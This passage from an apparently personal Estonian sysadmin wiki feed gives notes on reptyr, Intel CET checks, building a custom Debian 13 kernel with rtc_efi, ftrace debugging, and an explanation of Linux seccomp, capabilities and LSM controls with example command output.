   2097152        0        0        0         &lt;br /&gt;
1073741824       24       24       24        *&lt;br /&gt;
&lt;br /&gt;
Huge page sizes with configured pools:&lt;br /&gt;
1073741824&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.postgresql.org/images/7/7d/PostgreSQL_and_Huge_pages_-_PGConf.2019.pdf&lt;br /&gt;
* https://pganalyze.com/blog/5mins-postgres-tuning-huge-pages&lt;br /&gt;
&lt;br /&gt;
===reptyr===&lt;br /&gt;
&lt;br /&gt;
reptyr ehk reparenting-terminal võimaldab saada uuesti kontakti kaotatud kuid eksisteeriva terminaliga. Paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install reptyr&lt;br /&gt;
&lt;br /&gt;
Nt apt-get dist-upgrade programm käivitati, aga füüsiline konsool millelt seda tehti riknes. Mujalt arvutisse logides võib olla dist-upgrade tegevus peatunud nt sellises kohas&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# tail -f /var/log/apt/term.log&lt;br /&gt;
...&lt;br /&gt;
No DKMS packages installed: not changing Secure Boot validation state.&lt;br /&gt;
Setting up libmpc3:amd64 (1.3.1-1) ...&lt;br /&gt;
Setting up systemd-timesyncd (252.30-1~deb12u2) ...&lt;br /&gt;
&lt;br /&gt;
Configuration file '/etc/systemd/timesyncd.conf'&lt;br /&gt;
 ==&amp;gt; Modified (by you or by a script) since installation.&lt;br /&gt;
 ==&amp;gt; Package distributor has shipped an updated version.&lt;br /&gt;
   What would you like to do about it ?  Your options are:&lt;br /&gt;
    Y or I  : install the package maintainer's version&lt;br /&gt;
    N or O  : keep your currently-installed version&lt;br /&gt;
      D     : show the differences between the versions&lt;br /&gt;
      Z     : start a shell to examine the situation&lt;br /&gt;
 The default action is to keep your current version.&lt;br /&gt;
*** timesyncd.conf (Y/I/N/O/D/Z) [default=N] ? &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ning terminali olukord&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@tm-tartu-x470:~# ps auxf | less -N&lt;br /&gt;
..&lt;br /&gt;
    135 root        1097  0.0  1.8  74500 18448 ?        S    Oct13   0:05 apt-get dist-upgrade&lt;br /&gt;
    136 root       23408  0.0  0.6  11768  6388 pts/1    Ss+  Oct13   0:01  \_ /usr/bin/dpkg --status-fd 25 --configure --&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Osutub, et terminaliga saab taas kontakti öeldes, ja jätkates seejärel sisestusi peatunud kohast. NB! reptyr töötamine jätkub nö pimedast kohast, klaviatuurilt tuleb sisestada nii nagu asjakohane, nt antud juhul Enter sobib küsimusele 'timesyncd.conf (Y/I/N/O/D/Z) [default=N]' eitavalt vastamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@tm-tartu-x470:~# /home/imre/reptyr 23408&lt;br /&gt;
[-] Timed out waiting for child stop.&lt;br /&gt;
&lt;br /&gt;
Setting up libevent-core-2.1-7:amd64 (2.1.12-stable-8) ...&lt;br /&gt;
Setting up libatomic1:amd64 (12.2.0-14) ...&lt;br /&gt;
Setting up libvariable-magic-perl (0.63-1+b1) ...&lt;br /&gt;
Setting up udev (252.30-1~deb12u2) ...&lt;br /&gt;
Setting up libevent-2.1-7:amd64 (2.1.12-stable-8) ...&lt;br /&gt;
Setting up libio-html-perl (1.004-3) ...&lt;br /&gt;
Setting up libss2:amd64 (1.47.0-2) ...&lt;br /&gt;
Setting up libpod-parser-perl (1.65-1) ...&lt;br /&gt;
Setting up autopoint (0.21-12) ...&lt;br /&gt;
Setting up libb-hooks-op-check-perl:amd64 (0.22-2+b1) ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Seejärel jätkub apt-get dist-upgrade osakonnaga suhtlemine tavalisel viisil.&lt;br /&gt;
&lt;br /&gt;
===CET - Intel Control-flow Enforcement Technology===&lt;br /&gt;
&lt;br /&gt;
Protsessori tugi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-01:~# lscpu | grep -i shstk&lt;br /&gt;
Flags:                                fpu vme de pse ... user_shstk ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning nt https://www.intel.com/content/www/us/en/products/sku/232391/intel-xeon-gold-6448h-processor-60m-cache-2-40-ghz/specifications.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Intel® Control-Flow Enforcement Technology&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kerneli tugi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-01:~# grep SHADOW /boot/config-6.8.4-3-pve &lt;br /&gt;
CONFIG_X86_USER_SHADOW_STACK=y&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
programmi tugi, 'Properties: x86 feature: IBT, SHSTK'&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@trainer-01-rws:~# readelf -n /usr/sbin/sshd &lt;br /&gt;
&lt;br /&gt;
Displaying notes found in: .note.gnu.property&lt;br /&gt;
  Owner                Data size 	Description&lt;br /&gt;
  GNU                  0x00000020	NT_GNU_PROPERTY_TYPE_0&lt;br /&gt;
      Properties: x86 feature: IBT, SHSTK&lt;br /&gt;
	x86 ISA needed: x86-64-baseline&lt;br /&gt;
&lt;br /&gt;
Displaying notes found in: .note.gnu.build-id&lt;br /&gt;
  Owner                Data size 	Description&lt;br /&gt;
  GNU                  0x00000014	NT_GNU_BUILD_ID (unique build ID bitstring)&lt;br /&gt;
    Build ID: 652d8ffe728a6800d02ee146e82201f0080069de&lt;br /&gt;
&lt;br /&gt;
Displaying notes found in: .note.ABI-tag&lt;br /&gt;
  Owner                Data size 	Description&lt;br /&gt;
  GNU                  0x00000010	NT_GNU_ABI_TAG (ABI version tag)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käesolev olukord&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-01:~# cat /proc/2266/status | grep -i thread_fe&lt;br /&gt;
x86_Thread_features:	&lt;br /&gt;
x86_Thread_features_locked:&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/Control-flow_integrity&lt;br /&gt;
* https://ubuntu.com/blog/whats-new-in-security-for-ubuntu-24-04-lts&lt;br /&gt;
&lt;br /&gt;
===pigz abil pakkimine===&lt;br /&gt;
&lt;br /&gt;
 # time tar -I pigz -cf ../20250507/rakendus-14-main_ee-20250507.tgz main_ee&lt;br /&gt;
&lt;br /&gt;
===Debian v. 13 Trixie kerneli kompileerimine===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* tegevused toimuvad pve v. 8.4 virtuaalses arvutis, uefi jne&lt;br /&gt;
* kompileerimiseks on vajalik ca 40 G ruumi failisüsteemis&lt;br /&gt;
* arvutil on 32 cpu ja 24g mälu&lt;br /&gt;
* kompileerimine võtab aega ca 10 minutit&lt;br /&gt;
&lt;br /&gt;
Nt eesmärgiga lisada süsteemi rtc_efi tuuma moodul ning käivitamisel lülitada välja rtc_cmos moodul, tavaliselt paistab rtc nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pm60-trt:~# dmesg | grep rtc&lt;br /&gt;
[    5.472677] rtc_cmos 00:01: RTC can wake from S4&lt;br /&gt;
[    5.477720] rtc_cmos 00:01: registered as rtc0&lt;br /&gt;
[    5.482245] rtc_cmos 00:01: setting system clock to 2025-07-05T17:49:27 UTC (1751737767)&lt;br /&gt;
[    5.490391] rtc_cmos 00:01: alarms up to one month, y3k, 114 bytes nvram&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kompileerimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install build-essential libncurses-dev&lt;br /&gt;
# apt-get build-dep linux&lt;br /&gt;
# linux-source-6.12&lt;br /&gt;
&lt;br /&gt;
# su - imre&lt;br /&gt;
$ mkdir 20251001&lt;br /&gt;
$ cd 20251001&lt;br /&gt;
$ tar xaf /usr/src/linux-source-6.12.tar.xz&lt;br /&gt;
$ cd linux-source-6.12&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kostümiseerimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ cp /boot/config-6.12.48+deb13-amd64 .config&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ make menuconfig&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ joe drivers/rtc/Kconfig&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ joe .config&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ make menuconfig&lt;br /&gt;
&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001-2/linux-source-6.12$ diff /boot/config-6.12.48+deb13-amd64 .config&lt;br /&gt;
5c5&lt;br /&gt;
&amp;lt; CONFIG_CC_VERSION_TEXT=&amp;quot;x86_64-linux-gnu-gcc-14 (Debian 14.2.0-19) 14.2.0&amp;quot;&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; CONFIG_CC_VERSION_TEXT=&amp;quot;gcc (Debian 14.2.0-19) 14.2.0&amp;quot;&lt;br /&gt;
36a37&lt;br /&gt;
&amp;gt; CONFIG_BUILD_SALT=&amp;quot;&amp;quot;&lt;br /&gt;
999a1001&lt;br /&gt;
&amp;gt; CONFIG_MODULE_SIG_ALL=y&lt;br /&gt;
8486c8488&lt;br /&gt;
&amp;lt; CONFIG_RTC_DRV_CMOS=y&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; CONFIG_RTC_DRV_CMOS=m&lt;br /&gt;
8492a8495&lt;br /&gt;
&amp;gt; CONFIG_RTC_DRV_EFI=m&lt;br /&gt;
10868a10872&lt;br /&gt;
&amp;gt; CONFIG_MODULE_SIG_KEY=&amp;quot;certs/signing_key.pem&amp;quot;&lt;br /&gt;
10870a10875&lt;br /&gt;
&amp;gt; CONFIG_SYSTEM_TRUSTED_KEYS=&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
imre@kernel-deb-13-01:~$ diff orig/linux-source-6.12/drivers/rtc/Kconfig 20251001/linux-source-6.12/drivers/rtc/Kconfig&lt;br /&gt;
1180c1180&lt;br /&gt;
&amp;lt; 	depends on EFI &amp;amp;&amp;amp; !X86&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; 	depends on EFI&lt;br /&gt;
&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ make -j 32 bindeb-pkg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@kernel-deb-13-01:~# ls -ld /home/imre/20251001/linux-*&lt;br /&gt;
-rw-r--r--  1 imre imre   9175852 Oct  2 00:07 /home/imre/20251001/linux-headers-6.12.48_6.12.48-2_amd64.deb&lt;br /&gt;
-rw-r--r--  1 imre imre 109643260 Oct  2 00:07 /home/imre/20251001/linux-image-6.12.48_6.12.48-2_amd64.deb&lt;br /&gt;
-rw-r--r--  1 imre imre 999103852 Oct  2 00:08 /home/imre/20251001/linux-image-6.12.48-dbg_6.12.48-2_amd64.deb&lt;br /&gt;
-rw-r--r--  1 imre imre   1395812 Oct  2 00:06 /home/imre/20251001/linux-libc-dev_6.12.48-2_amd64.deb&lt;br /&gt;
-rw-rw-r--  1 imre imre      6109 Oct  2 00:09 /home/imre/20251001/linux-upstream_6.12.48-2_amd64.buildinfo&lt;br /&gt;
-rw-rw-r--  1 imre imre      2260 Oct  2 00:09 /home/imre/20251001/linux-upstream_6.12.48-2_amd64.changes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Paigaldamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@kernel-deb-13-01:~# dpkg -i /home/imre/20251001/linux-image-6.12.48_6.12.48-2_amd64.deb&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:~# find /lib/modules/6.12.48 -name rtc-efi\* -ls&lt;br /&gt;
   559702      8 -rw-r--r--   1 root     root         4708 Oct  2 00:05 /lib/modules/6.12.48/kernel/drivers/rtc/rtc-efi.ko.xz&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutamine, nt grub bootloaderisse sekkumisel näidata&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
linux /boot/vmlinuz-6.12.48 root=/dev/mapper/system-root ro efi=runtime modprobe.blacklist=rtc_cmos&lt;br /&gt;
initrd /boot/initrd.img-6.12.48&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@kernel-deb-13-01:~# uname -a&lt;br /&gt;
Linux kernel-deb-13-01 6.12.48 #2 SMP PREEMPT_DYNAMIC Thu Oct  2 00:05:59 EEST 2025 x86_64 GNU/Linux&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:~# dmesg -T | grep rtc&lt;br /&gt;
[Thu Oct  2 00:11:10 2025] Command line: BOOT_IMAGE=/boot/vmlinuz-6.12.48 root=/dev/mapper/system-root ro efi=runtime modprobe.blacklist=rtc_cmos&lt;br /&gt;
[Thu Oct  2 00:11:10 2025] Kernel command line: BOOT_IMAGE=/boot/vmlinuz-6.12.48 root=/dev/mapper/system-root ro efi=runtime modprobe.blacklist=rtc_cmos&lt;br /&gt;
[Thu Oct  2 00:11:11 2025] rtc-efi rtc-efi.0: registered as rtc0&lt;br /&gt;
[Thu Oct  2 00:11:11 2025] rtc-efi rtc-efi.0: setting system clock to 2025-10-01T21:11:09 UTC (1759353069)&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:~# hwclock --show&lt;br /&gt;
2025-10-02 01:35:16.360299+03:00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* 'Building a custom kernel from Debian kernel source' - https://kernel-team.pages.debian.net/kernel-handbook/ch-common-tasks.html#s-common-building&lt;br /&gt;
&lt;br /&gt;
===Kerneli siseste funktsioonide debugimine===&lt;br /&gt;
&lt;br /&gt;
Sedasi saab veenduda, et hwclock kasutab peale eelmises punktis tehtud muudatuse 'efi runtime services' osakonda (mitte klassikalist rfc_cmos osakonda)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# cat /sys/kernel/tracing/available_filter_functions | grep efi_ | grep time&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# cd /sys/kernel/tracing&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo &amp;gt; trace&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo nop &amp;gt; current_tracer&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo &amp;gt; set_ftrace_filter&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo efi_read_time &amp;gt; set_ftrace_filter&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo function &amp;gt; current_tracer&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo 1 &amp;gt; tracing_on&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# hwclock --show &amp;amp; echo &amp;quot;before $! after&amp;quot;&lt;br /&gt;
[1] 1525&lt;br /&gt;
before 1525 after&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# 2025-10-02 03:05:13.888490+03:00&lt;br /&gt;
&lt;br /&gt;
[1]+  Done                    hwclock --show&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo 0 &amp;gt; tracing_on&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# cat trace | head -n 15&lt;br /&gt;
# tracer: function&lt;br /&gt;
#&lt;br /&gt;
# entries-in-buffer/entries-written: 1458/1458   #P:32&lt;br /&gt;
#&lt;br /&gt;
#                                _-----=&amp;gt; irqs-off/BH-disabled&lt;br /&gt;
#                               / _----=&amp;gt; need-resched&lt;br /&gt;
#                              | / _---=&amp;gt; hardirq/softirq&lt;br /&gt;
#                              || / _--=&amp;gt; preempt-depth&lt;br /&gt;
#                              ||| / _-=&amp;gt; migrate-disable&lt;br /&gt;
#                              |||| /     delay&lt;br /&gt;
#           TASK-PID     CPU#  |||||  TIMESTAMP  FUNCTION&lt;br /&gt;
#              | |         |   |||||     |         |&lt;br /&gt;
         hwclock-1525    [003] ..... 10443.012235: efi_read_time &amp;lt;-__rtc_read_time&lt;br /&gt;
         hwclock-1525    [003] ..... 10443.012346: efi_read_time &amp;lt;-__rtc_read_time&lt;br /&gt;
         hwclock-1525    [003] ..... 10443.012425: efi_read_time &amp;lt;-__rtc_read_time&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* hwclock käsk antakse ja küsitakse tema pid väärtust&lt;br /&gt;
* trace failis on fikseeritud pid mis oli seotud efi_read_time funktsiooni väljakutsumisega&lt;br /&gt;
&lt;br /&gt;
===netconsole===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:Operatsioonisüsteemi Debian GNU/Linux paketihalduse kasutamine]]&lt;br /&gt;
* http://www.debian.org/security/&lt;br /&gt;
* http://www.debian-administration.org/&lt;br /&gt;
* http://wiki.debian.org/&lt;br /&gt;
* http://www.debian.org/distrib/packages&lt;br /&gt;
* http://debian.org/doc/maint-guide&lt;br /&gt;
* http://www.debianadmin.com/&lt;br /&gt;
* http://debian.catsanddogs.com/&lt;br /&gt;
* http://debconf9.debconf.org/ - sisaldab videosalvestusi Debiani arendajate esinemistest DebConfidel&lt;br /&gt;
* http://cdimage.debian.org/cdimage/unofficial/non-free/firmware/lenny/current/&lt;br /&gt;
* http://debian-live.alioth.debian.org/&lt;br /&gt;
* http://www.emdebian.org/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3428</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3428"/>
		<updated>2026-05-03T22:44:47Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Capabilities - 2026 kevad märkmed */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* privileegid (st õigus midagi teha, midagi kasutada) pole mitte niivõrd kasutajal, aga privileegid on protsessil&lt;br /&gt;
* protsessi privileegid tulenevad muu hulgast kolmest asjaolust: 1. seccomp syscall tulemüür, 2. capabilities, 3. lsm&lt;br /&gt;
* system call (syscall, 'make system call') - xxx&lt;br /&gt;
&lt;br /&gt;
Syscallisid on üldiselt kahesuguseid&lt;br /&gt;
&lt;br /&gt;
* Automatic Syscalls: Actions like mmap(), read(), or brk() are considered &amp;quot;safe.&amp;quot; The kernel assumes that if you have the memory or the file handle, you can perform these actions. No special &amp;quot;permission&amp;quot; is needed beyond standard file permissions.&lt;br /&gt;
* Restricted Syscalls: Actions like clock_adjtime(), reboot(), or mount() are &amp;quot;dangerous.&amp;quot; Historically, the kernel had a simple rule: if (uid == 0) (Root), allow; else, deny.&lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
&lt;br /&gt;
===gemini joonis===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ PROCESS ]&lt;br /&gt;
      |&lt;br /&gt;
      | 1. SECCOMP GATE (The Vocabulary Check)&lt;br /&gt;
      |    &amp;quot;Is this syscall even allowed to be uttered?&amp;quot;&lt;br /&gt;
      |    [ Filter: 23 active ] ---------------------&amp;gt; [ REJECT / SIGSYS ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 2. CAPABILITIES GATE (The Authority Check)&lt;br /&gt;
      |    &amp;quot;Does this process hold the specific bit for this action?&amp;quot;&lt;br /&gt;
      |    [ e.g., CAP_SYS_TIME ] --------------------&amp;gt; [ REJECT / EPERM ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 3. DAC / ACL GATE (The Identity Check)&lt;br /&gt;
      |    &amp;quot;Is the process UID/GID on the list for this file/device?&amp;quot;&lt;br /&gt;
      |    [ Feature: +ACL ] -------------------------&amp;gt; [ REJECT / EACCES ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 4. LSM / MAC GATE (The Policy &amp;quot;Horizon&amp;quot;)&lt;br /&gt;
      |    &amp;quot;Does the overall security policy permit this role this access?&amp;quot;&lt;br /&gt;
      |    [ AppArmor / SELINUX ] --------------------&amp;gt; [ REJECT / DENIED ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
  [ RESOURCE ] (e.g., /dev/sda, System Clock, Network Socket)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities===&lt;br /&gt;
&lt;br /&gt;
Linuxi tuumas on üldotstarbeline capability süsteem, mille abil nt saab protsessidele anda erinevaid privileege. Nt üks selline capabiliti on dac_override, mis seisneb selles, et root kasutajal on õigus sõita üle enamusest piirangutest, nt saab root töötada kasutajale kuuluvate failidega. Kui root kasutajale ei anna apparmor profiil erilisi privileege, siis root kasutaja on enam-vähem samaväärne tavakasutajaga, mille nimeks on 'root'. St tal ei ole õigust nt teiste kasutajate faile lugeda. Selleks, et root kasutajale kehtestatud apparmor profiili tingimustes see ülesõitmise privileeg tagasi tekiks sobib kasutada profiilis rida 'capability dac_override'. Capability süsteem on üldotstarbeline, ta ei ole LSM komponent, nt üks tema esinemise koht on selles, et uuemal ajal /bin/ping ei ole enam setuid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /bin/ping&lt;br /&gt;
-rwxr-xr-x 1 root root 44104 Nov  8  2014 /bin/ping&lt;br /&gt;
&lt;br /&gt;
# getcap /bin/ping&lt;br /&gt;
/bin/ping = cap_net_raw+ep&lt;br /&gt;
&lt;br /&gt;
# getfattr -d -m &amp;quot;^security\\.&amp;quot; /bin/ping&lt;br /&gt;
getfattr: Removing leading '/' from absolute path names&lt;br /&gt;
# file: bin/ping&lt;br /&gt;
security.capability=0sAQAAAgAgAAAAAAAAAAAAAAAAAAA=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures stat programm kasutab nn legacy syscall'i ja ei esita capabilities kohta infot (olevat olemas ka statx)&lt;br /&gt;
&lt;br /&gt;
Failile cap seadistamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # setcap cap_net_raw,cap_setuid,cap_setgid+ep /tmp/capable&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* +ep - kehtestatud&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Capabilities&lt;br /&gt;
* man capabilities&lt;br /&gt;
&lt;br /&gt;
===Capabilities - 2026 kevad märkmed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* teatud mõttes capabilities laiendab nö klassikaliselt setuid lahendust (mis võimaldab faili omaduste alusel tuletada protsessi käivitamise jaoks sobivad privileegid - tavaliselt tavakasutaja -&amp;gt; root kasutaja)&lt;br /&gt;
* võimalik on tekitada tavakasutajale kuuluva protsessi, mis on binditud privilegeeritud st &amp;lt;1024 port külge&lt;br /&gt;
* teatud määral päritakse capabilitied parent protsessi käest child protsessi poolt&lt;br /&gt;
&lt;br /&gt;
capabilities saab toimuda kahe nö allika põhiselt&lt;br /&gt;
&lt;br /&gt;
* faili xattr alusel staatiliselt&lt;br /&gt;
* kõrgema privileegiga protsessi poolt väljakutsutud viisil dünaamiliselt (nt systemd service unit)&lt;br /&gt;
&lt;br /&gt;
systemd puhul tavaliselt seadistatakse alumime ja ülemine lagi privileegidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl show systemd-resolved | grep Capab&lt;br /&gt;
CapabilityBoundingSet=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
AmbientCapabilities=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# egrep -r AmbientCapabilities /lib/systemd/&lt;br /&gt;
/lib/systemd/system/e2scrub_reap.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/e2scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/xfs_scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_FOWNER CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/systemd-timesyncd.service:AmbientCapabilities=CAP_SYS_TIME&lt;br /&gt;
/lib/systemd/system/systemd-networkd.service:AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_BROADCAST CAP_NET_RAW&lt;br /&gt;
/lib/systemd/system/systemd-resolved.service:AmbientCapabilities=CAP_SETPCAP CAP_NET_RAW CAP_NET_BIND_SERVICE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Parasjagu olevat protsesside seisu capability mõttes esitab pscap programm, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# apt-get install libcap-ng-utils&lt;br /&gt;
root@zabbix-pub-01:~# pscap -a&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
0     1     root        systemd             full +&lt;br /&gt;
1     344   root        systemd-journal     chown, dac_override, dac_read_search, fowner, setgid, setuid, sys_ptrace, sys_admin, audit_control, mac_override, syslog, audit_read +&lt;br /&gt;
1     395   root        multipathd          full +&lt;br /&gt;
1     413   root        systemd-udevd       chown, dac_override, dac_read_search, fowner, fsetid, kill, setgid, setuid, setpcap, linux_immutable, net_bind_service, net_broadcast, net_admin, net_raw, ipc_lock, ipc_owner, sys_module, sys_rawio, sys_chroot, sys_ptrace, sys_pacct, sys_admin, sys_boot, sys_nice, sys_resource, sys_tty_config, mknod, lease, audit_write, audit_control, setfcap, mac_override, mac_admin, syslog, block_suspend, audit_read, perfmon, bpf, checkpoint_restore +&lt;br /&gt;
1     562   systemd-network  systemd-network     net_bind_service, net_broadcast, net_admin, net_raw @ +&lt;br /&gt;
